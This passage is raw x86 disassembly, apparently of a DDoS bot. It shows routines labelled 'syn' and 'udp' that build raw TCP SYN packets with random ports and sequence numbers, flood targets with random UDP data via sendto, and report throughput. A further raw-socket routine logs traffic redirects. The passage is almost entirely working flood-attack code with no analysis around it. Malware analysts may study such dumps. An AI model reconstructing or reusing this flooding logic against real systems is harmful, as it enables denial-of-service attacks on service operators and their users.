[ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6765[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_426CE0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426EB0 proc near ; CODE XREF: sub_401DD9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426EB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E10C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426EB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_426F38 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426F38: ; CODE XREF: sub_426F20+Dj mov eax, esi pop esi retn 4 sub_426F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426F50 proc near ; CODE XREF: sub_4010FFj jmp sub_4014C4 sub_426F50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426F70 proc near ; CODE XREF: sub_401E92j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426F70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_401DB6 sub_426F70 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4270E0 proc near ; CODE XREF: sub_401BB3j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021A3 sub_4270E0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_427171 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_427171: ; CODE XREF: ___:00427151j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_4271A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271A4: ; CODE XREF: ___:00427195j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4271C7 loc_4271BA: ; CODE XREF: ___:0042736Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271C7: ; CODE XREF: ___:004271B8j mov ecx, [esp+0B4h] mov ebp, dword_50FC2C push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 2960743h mov [esp+48h], eax mov al, byte_4D64E9 test al, al jz loc_42741B mov ebx, dword_50FABC mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_427265 ; --------------------------------------------------------------------------- xor esi, esi loc_427265: ; CODE XREF: ___:00427261j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax call near ptr 71AB2BC0h nop mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A28 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A28 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4271BA call near ptr 2960743h nop mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_427417 mov al, [esp+13h] test al, al jz short loc_4273B9 push 2710h push 3E8h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4273B9: ; CODE XREF: ___:0042739Ej push 0FFh push 0 call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 8BF6E890h, 0E9A00258h, 84004D64h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_427417: ; CODE XREF: ___:00427396j mov edi, [esp+18h] loc_42741B: ; CODE XREF: ___:0042724Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427520 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40187F mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_427541 dec eax or eax, 0FFFFFE00h inc eax loc_427541: ; CODE XREF: sub_427520+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BB3 sub_427520 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427590 proc near ; CODE XREF: sub_401785j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427590 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E11C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427590 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_427618 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427618: ; CODE XREF: sub_427600+Dj mov eax, esi pop esi retn 4 sub_427600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427630 proc near ; CODE XREF: sub_401159j jmp sub_4014C4 sub_427630 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427650 proc near ; CODE XREF: sub_401A05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_401424 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014D3 push eax call sub_401730 add esp, 14h test eax, eax jz short loc_42771E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_42771E: ; CODE XREF: sub_427650+A2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427650 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_401730j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_436840 push esi push 11h push 2 push 2 call near ptr 71AB3B91h nop mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_427821 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_42781A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_4277C0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427821: ; CODE XREF: sub_4277C0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_50FABC push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_42785D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42785D: ; CODE XREF: sub_4277C0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_42787B mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42787B: ; CODE XREF: sub_4277C0+ACj cmp esi, 0FFFFh jle short loc_42788E mov [esp+28h+arg_FFE8], 0FFFFh loc_42788E: ; CODE XREF: sub_4277C0+9Bj ; sub_4277C0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_4278A4 mov [esp+28h+arg_FFE4], 1 loc_4278A4: ; CODE XREF: sub_4277C0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_4278DE loc_4278CB: ; CODE XREF: sub_4277C0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_4278CB loc_4278DE: ; CODE XREF: sub_4277C0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_427970 mov ebp, dword_50FC5C loc_4278F6: ; CODE XREF: sub_4277C0+1AEj mov al, byte_4D64E9 test al, al jz short loc_427970 mov esi, 0Bh loc_427904: ; CODE XREF: sub_4277C0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 29B0000h dec esi jnz short loc_427904 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_42795B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_42795B: ; CODE XREF: sub_4277C0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_4278F6 loc_427970: ; CODE XREF: sub_4277C0+12Aj ; sub_4277C0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_4277C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279F0 proc near ; CODE XREF: sub_40207Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_427A4D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_4279F0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_427A6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279F0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_4279F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AD0 proc near ; CODE XREF: sub_401D9Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_436840 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40187F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40187F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F60 mov eax, edi loc_427B37: ; CODE XREF: sub_427AD0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_427B5B test cl, cl jz short loc_427B57 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_427B5B add eax, 2 add esi, 2 test cl, cl jnz short loc_427B37 loc_427B57: ; CODE XREF: sub_427AD0+71j xor eax, eax jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427B5B: ; CODE XREF: sub_427AD0+6Dj ; sub_427AD0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427B60: ; CODE XREF: sub_427AD0+89j cmp eax, ebx jnz short loc_427BB3 mov ebp, dword_4D60F7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_427B77 cmp ebp, 0FFFFFFFFh jnz short loc_427BBE loc_427B77: ; CODE XREF: sub_427AD0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax call near ptr 71AB50C8h nop lea ecx, [esp+18h+arg_1C] push ecx call near ptr 71AB4FD4h nop movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_427BBE ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427AD0+92j push edi call sub_40187F add esp, 4 mov ebp, eax loc_427BBE: ; CODE XREF: sub_427AD0+A5j ; sub_427AD0+E1j cmp ebp, ebx jz short loc_427BC7 cmp ebp, 0FFFFFFFFh jnz short loc_427BCD loc_427BC7: ; CODE XREF: sub_427AD0+F0j mov ebp, dword_4D60F7 loc_427BCD: ; CODE XREF: sub_427AD0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_427D0D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_427D0D lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_427D0D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_427D0D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_427CF3 mov ebx, dword_50FC90 loc_427C63: ; CODE XREF: sub_427AD0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_427CE3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_427CBE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_427CDB ; --------------------------------------------------------------------------- loc_427CBE: ; CODE XREF: sub_427AD0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_427CE3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_427CDB: ; CODE XREF: sub_427AD0+1ECj call sub_40207C add esp, 8 loc_427CE3: ; CODE XREF: sub_427AD0+1C0j ; sub_427AD0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_427C63 loc_427CF3: ; CODE XREF: sub_427AD0+187j mov edx, dword_50FA84 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_427D0D: ; CODE XREF: sub_427AD0+11Dj ; sub_427AD0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_427AD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DC0 proc near ; CODE XREF: sub_401889j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_444F30 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E12C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427DC0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427E30 proc near ; CODE XREF: sub_401F82j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_40179Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427EF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427FC0: ; CODE XREF: ___:00401A14j ; ___:loc_402068j push esi mov esi, ecx call sub_40179E test byte ptr [esp+8], 1 jz short loc_427FD8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427FD8: ; CODE XREF: ___:00427FCDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015F5 test [esp+4+arg_0], 1 jz short loc_428008 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428008: ; CODE XREF: sub_427FF0+Dj mov eax, esi pop esi retn 4 sub_427FF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428020 proc near ; CODE XREF: sub_4015F5j jmp sub_40179E sub_428020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428040 proc near ; CODE XREF: sub_4015AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60A5 call sub_401848 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_401D9D add esp, 10h mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_428040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428160 proc near ; CODE XREF: sub_401884j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset 